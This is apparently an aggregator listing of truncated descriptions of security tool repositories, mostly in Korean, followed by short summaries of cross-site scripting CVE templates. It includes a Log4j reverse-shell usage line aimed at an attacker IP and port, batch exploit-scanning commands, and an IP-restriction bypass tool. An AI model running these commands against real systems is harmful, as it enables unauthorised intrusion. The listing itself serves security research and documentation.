CVE-2023-25136

OpenSSH Pre-Auth Double Free CVE-2023-25136 POC 이 저장소는 Python의 Paramiko 라이브러리를 사용하여 OpenSSH Pre-Auth Double Free 취약점CVE-2023-25136을 확인하기 위한 Proof of ConceptPOC 스크립트를 포함합니다. 사전 요구 사항 이 POC 스크립트를 실행하기 전에 다음 종속성이 설치되어 있는지 확인해야 합니다: Python 3.x Paramiko 라이브러리 termcolor 라이브러리 argparse 라이브러리 pip를 사용하여 모...

VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972

VMwarevCenterUNAuthorizedRCECVE-2021-21972 zoomeye dork: app:"VMware vCenter" pocsuite3로 작성된 무해한 탐지 스크립트 VMwarevCenterUNAuthorizedRCE.py를 사용하여 최근 1년간의 데이터로 탐지합니다. 성공률 약: 1551 / 3998 = 39%...

aws-key-disabler

AWS Lambda - IAM Access Key Disabler The AWS Key disabler is a Lambda Function that disables AWS IAM User Access Keys after a set amount of time in order to reduce the risk associated with old access keys. AWS Lambda Architecture SysOps Output for EndUser Developer Toolchain Current Limitations A...

CVE-2019-0708poc

CVE-2019-0708poc 360Vulcan Team에서 개발한 CVE-2019-0708 단일 IP 탐지 도구를 기반으로 배치 탐지 스크립트를 만든 것뿐입니다. 단일 스레드로만 작성했습니다.. 아직 멀티 스레드로 만들 시간이 없습니다...

CVE-2022-26134

CVE-2022-26134 poc 공지: 이 POC는 학습용으로만 제공되며, 모든 불법적인 행위를 금지합니다. 악의적인 파괴 행위를 할 경우 본인과 무관합니다!!! 사용 방법 단일 검증 python CVE-2022-26134.py target url 대량 url 검증 python CVE-2022-26134.py url.txt...

Insta-Crawler

Insta Crawler 무작위 인스타그램 사진 ID를 생성하고 시도하도록 설계된 파이썬 스크립트입니다. 스크린샷...

CVE-2024-50379-PoC

더 많은 PoC 보기 https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X 스크립트 사용법 일괄 탐지: python poc.py -f url.txt 단일 탐지: python poc.py -u your-ip...

diskwalker

Diskwalker 디스크를 탐색하면서 흥미로운 파일 집합들을 추적하는 간단한 스크립트 침투 테스트 중 원격 머신에 대한 접근 권한을 얻은 후, 권한 상승을 시도하기 위해 흥미로운 구성 파일이나 바이너리를 찾고 싶을 수 있습니다. 이 스크립트는 자체 포함되어 있으며 Python3와 Python2.7 모두에서 작동하므로, 기본적으로 python2를 제공하지 않는 최신 머신과 그렇지 않은 오래된 머신 모두와 호환됩니다. 여러 find 명령을 실행하는 대신, 이 간단한 스크립트는 전체 디스크 트리 구조를 한 번만 순회하면서 모든...

Parsero

Parsero란 무엇인가? Parsero는 Python으로 작성된 무료 스크립트로, 웹 서버의 Robots.txt 파일을 읽고 Disallow 항목을 확인합니다. Disallow 항목은 검색 엔진에 웹 서버에 호스팅된 디렉터리나 파일이 인덱싱되면 안 된다는 것을 알려줍니다. 예를 들어, "Disallow: /portal/login"은 www.example.com/portal/login의 콘텐츠가 Google, Bing, Yahoo 등 크롤러에 의해 인덱싱되는 것이 허용되지 않는다는 의미입니다. 이것은 관리자가 검색 엔진과...

Log4j-Updater

Log4j 업데이터 Log4j라는 유명한 Java 프레임워크를 업데이트해야 하는 불가피한 필요성으로 인해 많은 기업들이 여러 대의 컴퓨터에서 동시에 Log4j를 업데이트해야 하며, 이는 시간과 비용이 소요됩니다. 바로 여기서 Log4j 업데이터 가 등장합니다. log4jupdater.sh는 시스템에서 사용할 패키지 관리자를 자동으로 감지하고, log4j 저장소가 있는 경우 업데이트하여 최신 버전을 설치함으로써 여러 대의 머신에서 업데이트 프로세스를 자동화 하는 것을 목표로 하는 간단한 bash 스크립트입니다. 호환성 스크립트와...

thinkphp5.XRce

ThinkPHP5.0 취약점 탐지 스크립트 @tdcoming 님의 스크립트를 기반으로 재작성했습니다. 소개: 영향 범위: v5.1.x 5.1.31 v5.0.x= 5.0.23 사용법: 1. pip install -r requirements.txt 2. 이 스크립트 디렉토리에 url.txt 파일을 생성합니다. 3. 탐지할 URL을 넣습니다. 4. 스크립트를 실행합니다. 스크린샷:...

ipsourcebypass

이 Python 스크립트는 HTTP 헤더를 사용하여 IP 출처 제한을 우회하는 데 사용할 수 있습니다. 기능 17개의 HTTP 헤더. 멀티스레딩. --json outputfile.json을 사용한 JSON 내보내기. 가장 성공적인 우회 자동 감지. 사용법 $ ./ipsourcebypass.py -h IP source bypass using HTTP headers, v1.2 usage: ipsourcebypass.py -h -v -i IP -t THREADS -x PROXY -k -L -j JSONFILE -C -H HEADER...

Follina-MSDT-Vulnerability-CVE-2022-30190-

Follina-MSDT-Vulnerability-CVE-2022-30190- Detection and Remediation of the Follina MSDT Vulnerability CVE-2022-30190 Follina-MSDT-Vulnerability-CVE-2022-30190-에 대한 자세한 정보는 https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ 를...

htrace.sh

Description htrace.sh is a shell script for http/https troubleshooting and profiling. It's also a simple wrapper around several open source security tools. For a more detailed understanding of htrace.sh, its parameters, functions and how it all works, run htrace.sh --examples or see the Wiki...

htrace.sh

설명 htrace.sh는 HTTP/HTTPS 문제 해결 및 프로파일링을 위한 셸 스크립트입니다. 또한 여러 오픈 소스 보안 도구를 간단히 래핑한 것입니다. htrace.sh의 매개변수, 기능 및 작동 방식에 대한 자세한 내용을 보려면 htrace.sh --examples를 실행하거나 Wiki를 참조하세요. 미리보기 사용 방법 htrace.sh 자체를 설치하려면: Clone this repository git clone https://github.com/trimstray/htrace.sh Go into directory cd...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 사용법 For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPo...

WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting

A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter. id: CVE-2011-5106 info: name: WordPress Plugin Flexible Custom Post Type 0.1.7 - Cross-Site...

Liferay Portal & DXP - Cross-Site Scripting

Liferay Portal 7.4.0 through 7.4.3.133 and Liferay DXP 2024.Q1.1 through 2025.Q1.4 contain a reflected XSS caused by improper sanitization in entrycoverimagecaption.jsp, letting remote non-authenticated attackers inject JavaScript. id: CVE-2025-4576 info: name: Liferay Portal & DXP - Cross-Site...

Extreme Management Center 8.4.1.24 - Cross-Site Scripting

Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication...

Xinuo Openserver 5/6 - Cross-Site scripting

Xinuo formerly SCO Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting. id: CVE-2020-25495 info: name: Xinuo Openserver 5/6 - Cross-Site scripting author: 0xAkoko severity:...